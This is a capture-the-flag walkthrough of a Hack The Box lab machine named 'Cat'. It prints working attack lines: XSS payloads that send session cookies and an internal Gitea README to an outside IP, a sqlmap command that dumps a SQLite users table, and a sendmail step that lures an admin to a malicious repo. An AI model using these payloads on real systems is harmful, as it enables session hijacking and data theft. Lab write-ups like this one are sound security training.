🐱Cat

Start with some recon as always

image.png

Bit of fuzzing

We've already found something interesting! Let's dump the git repo and take a look

git-dumper http://cat.htb/.git ./git-dump

Here we notice a possible sqli since it's the only statement that takes the input and execute the query directly

It also seems to check if the session is related to the user "axel", so that could be a possible hidden function, we need to find more info.

Let's grep ''axel" inside the repo and let's check where it pops out

it's also in the admin.php, so it must be a site admin, makes sense.

So once we log in as axel, we can se an additional tab called "Admin". We need to look more around and try to see if there's any other vulnerability

unsanitized username and email in the registration process. That could lead to a stored xss.

We also noticed that a sessionid is assigned since we land on the main page, without the need to authenticate.

Since the "view_cat.php" shows our username and this is called from "admin.php" during the acceptance process, we could try to exploit it to gain the admin sessionid and log in as axel.

<script>fetch("http://10.10.16.54:4444/"+document.cookie)</script>

let’s register a cat and see if our analysis were correct.

Indeed.

Now that we have the session cookie, we use it, reload the page and the admin tab pops up with our submitted cat. Let’s register one more cat and see what happens

here we have the catName and catId params, those are not checkedm so let’s copy the request and test it with sqlmap

We know the app uses sqlite from the config.php file and after some testing, increasing risk and level seems to be useful:

sqlmap -r accept.req -p catName --dbms=sqlite --level=5 --risk=3 --dump --threads=10

and after some time we have the users table

now let’s roll those through crackstation to see if the hases are known, or else we’ll need to crack it with hashcrack

there we go.

the current user we sshd in with, doesn’t have a user.txt so we need to pivot into someone else

looking around nothing seems really useful, but earlier, we saw in the requests that user and pass are posted during the login phase unencrypted, so it could be useful to check the apache access logs (from the nmap recon) and look for the various users

for axel we immediately found the password, but nothing regarding other users

after the usual checks we saw some open sockets, on port 3000 we have a selfhosted gitea, but it seems to be empty, let’s try to login and check it

it’s all empty to us, let’s dig a bit more on the server;

After a bit of looking around, we saw the /var/mail directory with a message for axel

That's a huge hint, we need to send a message to jobert so it could review our repo to check our idea… it seems odd, but we'll stick to it.

let’s look for gitea vulnerabilities associated to this version

there we go, as simple as that.

Try to steal cookies

<a href='javascript:fetch("http://10.10.16.54:4444/"+document.cookie);'>HACKED</a>

Nothing came out. We could try to check if jobert is able to see the page mentioned in the message and try to forward it to us, since he's an admin i suppose, it should be possible. We create a repository with the following payload in the description field:

<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md").then(response=>response.text()).then(data=>fetch("http://10.10.16.54:4444/?",{method: "POST", body: data}));'>HACKED</a>

So once the repo has been created, we send the mail to jobert with the repo link using sendmail on the localhost

echo -e "http://localhost:3000/axel/Hack" | sendmail [e-mail]

Nothing interesting, let’s see if there’s something else, let’s fetch an index paege

index.html is non existent, but index.php is there!

let’s go! Could this be the root credentials?

and we’re done.